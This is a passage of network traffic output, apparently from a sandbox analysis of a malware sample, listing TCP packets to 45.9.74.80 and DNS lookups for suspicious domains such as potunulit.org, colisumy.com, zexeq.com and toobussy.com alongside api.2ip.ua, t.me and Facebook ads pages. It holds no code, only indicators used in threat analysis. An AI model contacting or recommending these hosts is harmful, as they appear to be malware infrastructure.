May 28, 2023 10:42:56.534970045 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.534989119 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535032988 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535077095 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535098076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.535120964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535140038 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.535166025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535212994 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535257101 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535283089 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.535301924 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535315037 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.535346985 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535391092 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535438061 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535481930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535504103 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.535504103 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.535526991 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535573959 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535618067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.535662889 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.535664082 CEST	80	49727	45.9.74.80	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 28, 2023 10:42:32.589546919 CEST	192.168.2.3	8.8.8.8	0xc257	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:32.904278994 CEST	192.168.2.3	8.8.8.8	0xf86a	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:38.041315079 CEST	192.168.2.3	8.8.8.8	0xd6e3	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:38.355895042 CEST	192.168.2.3	8.8.8.8	0x3c92	Standard query (0)	speedlab.com.eg	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:38.886869907 CEST	192.168.2.3	8.8.8.8	0xde50	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:39.331614017 CEST	192.168.2.3	8.8.8.8	0x243c	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:43.070905924 CEST	192.168.2.3	8.8.8.8	0xb406	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:43.229671001 CEST	192.168.2.3	8.8.8.8	0x2ed4	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.401875973 CEST	192.168.2.3	8.8.8.8	0x77ce	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.431500912 CEST	192.168.2.3	8.8.8.8	0x8f29	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.761403084 CEST	192.168.2.3	8.8.8.8	0xe73	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.594129086 CEST	192.168.2.3	8.8.8.8	0x8189	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.890947104 CEST	192.168.2.3	8.8.8.8	0xf47c	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:47.954268932 CEST	192.168.2.3	8.8.8.8	0xc85b	Standard query (0)	jp.imgjeoighw.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:51.638860941 CEST	192.168.2.3	8.8.8.8	0xe5cb	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:54.714950085 CEST	192.168.2.3	8.8.8.8	0x5de4	Standard query (0)	speedlab.com.eg	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:55.529817104 CEST	192.168.2.3	8.8.8.8	0x7a51	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:55.681421041 CEST	192.168.2.3	8.8.8.8	0x53d3	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:56.441360950 CEST	192.168.2.3	8.8.8.8	0xea1d	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.053306103 CEST	192.168.2.3	8.8.8.8	0x1bec	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.214225054 CEST	192.168.2.3	8.8.8.8	0x510a	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.662609100 CEST	192.168.2.3	8.8.8.8	0xe283	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:59.579483986 CEST	192.168.2.3	8.8.8.8	0x96de	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:00.048898935 CEST	192.168.2.3	8.8.8.8	0xe540	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:00.516808987 CEST	192.168.2.3	8.8.8.8	0x54a7	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:00.802059889 CEST	192.168.2.3	8.8.8.8	0x113f	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:02.195458889 CEST	192.168.2.3	8.8.8.8	0xd66d	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:02.941838980 CEST	192.168.2.3	8.8.8.8	0x92d5	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.434844971 CEST	192.168.2.3	8.8.8.8	0x101b	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.660417080 CEST	192.168.2.3	8.8.8.8	0xe0	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.803510904 CEST	192.168.2.3	8.8.8.8	0x8f41	Standard query (0)	speedlab.com.eg	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.819369078 CEST	192.168.2.3	8.8.8.8	0xb3c7	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:04.294127941 CEST	192.168.2.3	8.8.8.8	0x1e46	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:04.570935965 CEST	192.168.2.3	8.8.8.8	0x85fb	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:06.353408098 CEST	192.168.2.3	8.8.8.8	0x31d6	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.111479998 CEST	192.168.2.3	8.8.8.8	0x3334	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.327681065 CEST	192.168.2.3	8.8.8.8	0x2d2a	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.336113930 CEST	192.168.2.3	8.8.8.8	0x2e88	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.402429104 CEST	192.168.2.3	8.8.8.8	0xa3e4	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.588644981 CEST	192.168.2.3	8.8.8.8	0x46df	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.848572016 CEST	192.168.2.3	8.8.8.8	0x608b	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.851380110 CEST	192.168.2.3	8.8.8.8	0xda79	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.456056118 CEST	192.168.2.3	8.8.8.8	0x8697	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.716829062 CEST	192.168.2.3	8.8.8.8	0x3a74	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.560178041 CEST	192.168.2.3	8.8.8.8	0x1df7	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.273484945 CEST	192.168.2.3	8.8.8.8	0x7c33	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.075567961 CEST	192.168.2.3	8.8.8.8	0xac40	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.679893017 CEST	192.168.2.3	8.8.8.8	0xe9c	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:14.498408079 CEST	192.168.2.3	8.8.8.8	0xe7f0	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:14.852189064 CEST	192.168.2.3	8.8.8.8	0x9473	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:15.460896015 CEST	192.168.2.3	8.8.8.8	0x6efc	Standard query (0)	speedlab.com.eg	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:15.613418102 CEST	192.168.2.3	8.8.8.8	0xfbca	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:15.983059883 CEST	192.168.2.3	8.8.8.8	0x5091	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.217313051 CEST	192.168.2.3	8.8.8.8	0xd095	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.640816927 CEST	192.168.2.3	8.8.8.8	0xca04	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.003221989 CEST	192.168.2.3	8.8.8.8	0x450d	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.466842890 CEST	192.168.2.3	8.8.8.8	0x1f9b	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.764915943 CEST	192.168.2.3	8.8.8.8	0x2085	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.449069977 CEST	192.168.2.3	8.8.8.8	0x3028	Standard query (0)	adsmanager.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:19.758980036 CEST	192.168.2.3	8.8.8.8	0x1826	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.059639931 CEST	192.168.2.3	8.8.8.8	0xad6c	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.712938070 CEST	192.168.2.3	8.8.8.8	0xa0b6	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:20.815661907 CEST	192.168.2.3	8.8.8.8	0x9518	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:21.989151955 CEST	192.168.2.3	8.8.8.8	0xe689	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.024241924 CEST	192.168.2.3	8.8.8.8	0x3f8a	Standard query (0)	potunulit.org	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.393553972 CEST	192.168.2.3	8.8.8.8	0xa2d	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:22.731909990 CEST	192.168.2.3	8.8.8.8	0xe43	Standard query (0)	ss.apjeoighw.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.587229967 CEST	192.168.2.3	8.8.8.8	0x5e33	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:23.942609072 CEST	192.168.2.3	8.8.8.8	0x4fc2	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:24.187830925 CEST	192.168.2.3	8.8.8.8	0x30c4	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:25.135301113 CEST	192.168.2.3	8.8.8.8	0x5cc3	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:26.377245903 CEST	192.168.2.3	8.8.8.8	0x36ac	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:28.015558004 CEST	192.168.2.3	8.8.8.8	0xbebf	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:29.523540020 CEST	192.168.2.3	8.8.8.8	0xf4f1	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.456631899 CEST	192.168.2.3	8.8.8.8	0x7f	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:30.880661011 CEST	192.168.2.3	8.8.8.8	0x89c9	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.084322929 CEST	192.168.2.3	8.8.8.8	0xc813	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:31.538268089 CEST	192.168.2.3	8.8.8.8	0xea73	Standard query (0)	adsmanager.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.162396908 CEST	192.168.2.3	8.8.8.8	0x72a9	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:32.421588898 CEST	192.168.2.3	8.8.8.8	0x5905	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:33.629355907 CEST	192.168.2.3	8.8.8.8	0x4431	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:34.475882053 CEST	192.168.2.3	8.8.8.8	0x75e7	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:35.990720034 CEST	192.168.2.3	8.8.8.8	0x64e9	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.213870049 CEST	192.168.2.3	8.8.8.8	0x6cdd	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:37.239511967 CEST	192.168.2.3	8.8.8.8	0x5481	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:38.759414911 CEST	192.168.2.3	8.8.8.8	0xa202	Standard query (0)	shsplatform.co.uk	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:39.408296108 CEST	192.168.2.3	8.8.8.8	0xa76c	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:40.758038044 CEST	192.168.2.3	8.8.8.8	0xcb14	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.292027950 CEST	192.168.2.3	8.8.8.8	0xed1c	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:42.686049938 CEST	192.168.2.3	8.8.8.8	0xd5a1	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:44.206152916 CEST	192.168.2.3	8.8.8.8	0xba0a	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:45.733243942 CEST	192.168.2.3	8.8.8.8	0x8d9d	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:46.970834017 CEST	192.168.2.3	8.8.8.8	0xef30	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:47.335722923 CEST	192.168.2.3	8.8.8.8	0xb441	Standard query (0)	adsmanager.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:47.361634970 CEST	192.168.2.3	8.8.8.8	0x6476	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:47.854331970 CEST	192.168.2.3	8.8.8.8	0xaa8d	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:48.617662907 CEST	192.168.2.3	8.8.8.8	0xfe12	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.046684027 CEST	192.168.2.3	8.8.8.8	0x6bb1	Standard query (0)	ss.apjeoighw.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:50.121634960 CEST	192.168.2.3	8.8.8.8	0x2973	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:51.641613007 CEST	192.168.2.3	8.8.8.8	0x2561	Standard query (0)	toobussy.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:52.415997028 CEST	192.168.2.3	8.8.8.8	0xcfb6	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:57.150626898 CEST	192.168.2.3	8.8.8.8	0xb748	Standard query (0)	adsmanager.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:57.771193981 CEST	192.168.2.3	8.8.8.8	0x9b9b	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:59.824630022 CEST	192.168.2.3	8.8.8.8	0xdec8	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
May 28, 2023 10:44:04.964651108 CEST	192.168.2.3	8.8.8.8	0x92cb	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 28, 2023 10:42:32.616553068 CEST	8.8.8.8	192.168.2.3	0xc257	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:32.616553068 CEST	8.8.8.8	192.168.2.3	0xc257	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:33.222845078 CEST	8.8.8.8	192.168.2.3	0xf86a	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:38.075985909 CEST	8.8.8.8	192.168.2.3	0xd6e3	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:38.075985909 CEST	8.8.8.8	192.168.2.3	0xd6e3	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:38.384840012 CEST	8.8.8.8	192.168.2.3	0x3c92	No error (0)	speedlab.com.eg		217.174.148.28	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:38.921091080 CEST	8.8.8.8	192.168.2.3	0xde50	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:39.366380930 CEST	8.8.8.8	192.168.2.3	0x243c	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:39.366380930 CEST	8.8.8.8	192.168.2.3	0x243c	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:43.096632004 CEST	8.8.8.8	192.168.2.3	0xb406	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:43.264162064 CEST	8.8.8.8	192.168.2.3	0x2ed4	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.728355885 CEST	8.8.8.8	192.168.2.3	0x8f29	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:44.919411898 CEST	8.8.8.8	192.168.2.3	0x77ce	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.156594038 CEST	8.8.8.8	192.168.2.3	0xe73	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.629652977 CEST	8.8.8.8	192.168.2.3	0x8189	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:45.629652977 CEST	8.8.8.8	192.168.2.3	0x8189	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:46.216006994 CEST	8.8.8.8	192.168.2.3	0xf47c	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:48.303133965 CEST	8.8.8.8	192.168.2.3	0xc85b	No error (0)	jp.imgjeoighw.com		103.100.211.218	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:51.658840895 CEST	8.8.8.8	192.168.2.3	0xe5cb	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:51.658840895 CEST	8.8.8.8	192.168.2.3	0xe5cb	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:54.770947933 CEST	8.8.8.8	192.168.2.3	0x5de4	No error (0)	speedlab.com.eg		217.174.148.28	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:55.556116104 CEST	8.8.8.8	192.168.2.3	0x7a51	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:55.709743023 CEST	8.8.8.8	192.168.2.3	0x53d3	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
